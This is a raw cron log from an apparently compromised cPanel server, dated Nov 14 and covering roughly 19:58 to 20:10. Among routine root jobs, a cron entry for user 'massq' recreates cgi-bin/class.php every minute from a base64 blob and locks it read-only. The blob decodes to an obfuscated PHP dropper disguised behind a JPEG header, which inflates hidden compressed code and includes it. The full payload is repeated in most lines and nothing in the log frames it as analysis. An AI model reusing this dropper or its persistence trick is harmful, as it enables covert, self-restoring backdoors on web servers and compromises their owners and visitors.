Nov 14 19:58:01 server CROND[22784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:59:01 server CROND[23586]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:00:01 server CROND[24563]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 20:00:01 server CROND[24566]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:00:01 server CROND[24567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:00:01 server CROND[24568]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 20:00:01 server CROND[24569]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:01:01 server CROND[25509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:01:01 server CROND[25508]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 20:01:01 server run-parts(/etc/cron.hourly)[25508]: starting 0anacron
Nov 14 20:01:01 server run-parts(/etc/cron.hourly)[25521]: finished 0anacron
Nov 14 20:02:01 server CROND[26393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:03:01 server CROND[27283]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:04:01 server CROND[28157]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:05:01 server CROND[28968]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 14 20:05:01 server CROND[28970]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:05:01 server CROND[28971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 20:05:01 server CROND[28972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:05:01 server CROND[28969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:06:01 server CROND[29957]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:07:01 server CROND[30866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:08:01 server CROND[31899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:09:01 server CROND[32741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:09:01 server CROND[32742]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 20:10:01 server CROND[1168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 20:10:01 server CROND[1169]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 20:10:01 server CROND[1171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 20:10:01 server CROND[1170]: (root) CMD (/usr/lib64/sa/sa1 1 1)
